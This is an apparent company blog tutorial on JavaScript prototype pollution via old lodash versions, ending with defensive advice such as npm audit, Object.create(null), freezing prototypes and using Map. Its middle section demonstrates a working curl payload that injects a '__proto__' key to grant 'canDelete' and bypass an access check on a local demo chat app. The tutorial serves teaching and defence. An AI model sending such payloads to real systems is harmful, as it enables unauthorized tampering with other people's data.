Prototype Pollution in Lodash

In every project with JavaScript we depend on third-party libraries. We have a huge repository (npm) with thousands of packages. You can find a package for everything there and this stimulates people to install packages for even the easier stuff. The isTrue package is an example of that. Everyone can publish packages in npm and people with bad intentions can put vulnerabilities in your project without knowing that. 

What is a prototype?

Before we dive into the problem we need to understand how the prototype works. JavaScript is a prototype based language. This means that when we create an object it has hidden properties that are inherited in the prototype (constructor, toString, hasOwnProperty). 

prototype pollution

Different types have different methods in the prototype. The Number prototype has toExponential, toFixed, and so on. This gives us some methods that can help us. For example, we can round some numbers.

number prototype

We can also add properties and methods to the prototype which is considered a bad practice.

properties and methods

If we refer to an object key that does not exist on the object the engine will look in the prototype for it. We can have prototype pollution on the client-side that can cause XSS on our application. On the other hand, if we have this vulnerability on our server it can cause RCE (Remote Code Execution), IDOR (Insecure Direct Object References), LFI (Local File Inclusion), and many more.

Server Side Example

Let’s take for example a simple chat application. Here is the code for the application which is forked from the original repository of https://github.com/Kirill89

In this application, we have several functionalities. Everyone is authorized to see the messages with a get request to “/”

curl --request GET --url http://localhost:3000/

The output will be an empty array because we have not added any tasks

[ ]

Registered uses can add tasks to the list. We already have one registered user and we will add a message

curl --request PUT \

   --url http://localhost:3000/ \

   --header 'content-type: application/json' \

   --data '{"auth": {"name": "user", "password": "pwd"}, "message": {"text": "Hi!"}}'

 

Now if we list the tasks we will see our task in the list.

[{"icon":"✔️","text":"Hi!","id":1,"timestamp":1620743071230,"userName":"user"}]

If we try to delete a task with the same user we will receive an error message

curl --request DELETE \ 

    --url http://localhost:3000/ \ 

    --header 'content-type: application/json' \ 

    --data '{"auth": {"name": "user", "password": "pwd"}, "messageId": 2}'

Output

{"ok":false,"error":"Access denied"}

But if we send a payload that can add to the prototype of all objects “canDelete” to be true we will be able to delete all messages.

The exploit

curl --request PUT \

  --url http://localhost:3000/ \

  --header 'content-type: application/json' \

  --data '{"auth": {"name": "user", "password": "pwd"}, "message": { "text": "😈", "__proto__": {"canDelete": true}}}'

Now we bypass the check and can delete what we want

curl --request DELETE \

  --url http://localhost:3000/ \

  --header 'content-type: application/json' \

  --data '{"auth": {"name": "user", "password": "pwd"}, "messageId": 1}'

Output

{"ok":true}

The reason for this vulnerability was the package lodash which has vulnerabilities in versions below  4.17.19.

Lodash prototype pollution example

How can you prevent prototype pollution vulnerabilities?

      1. Check your dependencies

Our code is a combination of many dependencies and how we use them. You need to regularly check for submitted vulnerability reports for the packages that you use. In javascript this can happen very easily when you run 

npm audit

This command will return all packages with the vulnerability that they have and the version that is safe for use.

prototype pollution vulnerabilities
     2. Create an object with Object constructor

let obj = Object.create(null);

obj.__proto__ // undefined

obj.constructor // undefined

If we use Object.create(null) we will have an object which doesn’t have a prototype.

     3. Freeze the prototype object

Object.freeze(Object.prototype); 

Object.freeze(Object);

({}).__proto__.test = 123; ({}).test // this will be undefined

We can freeze the prototype of the Object and nothing in the prototype will be not added.

    4. Using Map instead of Object

Map primitive is introduced in ES6 and it is considered safer to use for the key-values store.

Photos by: Charles Deluvio and Motion Software

x

Motion Software starts operating under the name of its parent company Exadel, taking effect on July 15th.

More Info

Motion Software uses cookies to improve site functionality, provide you with a better browsing experience, and to enable our partners to advertise to you. Detailed information on the use of cookies on this Site, and how you can decline them, is provided in our Cookie Policy Learn more about cookies, Opens in new tab. By using this Site or clicking on OK, you consent to the use of cookies.

OK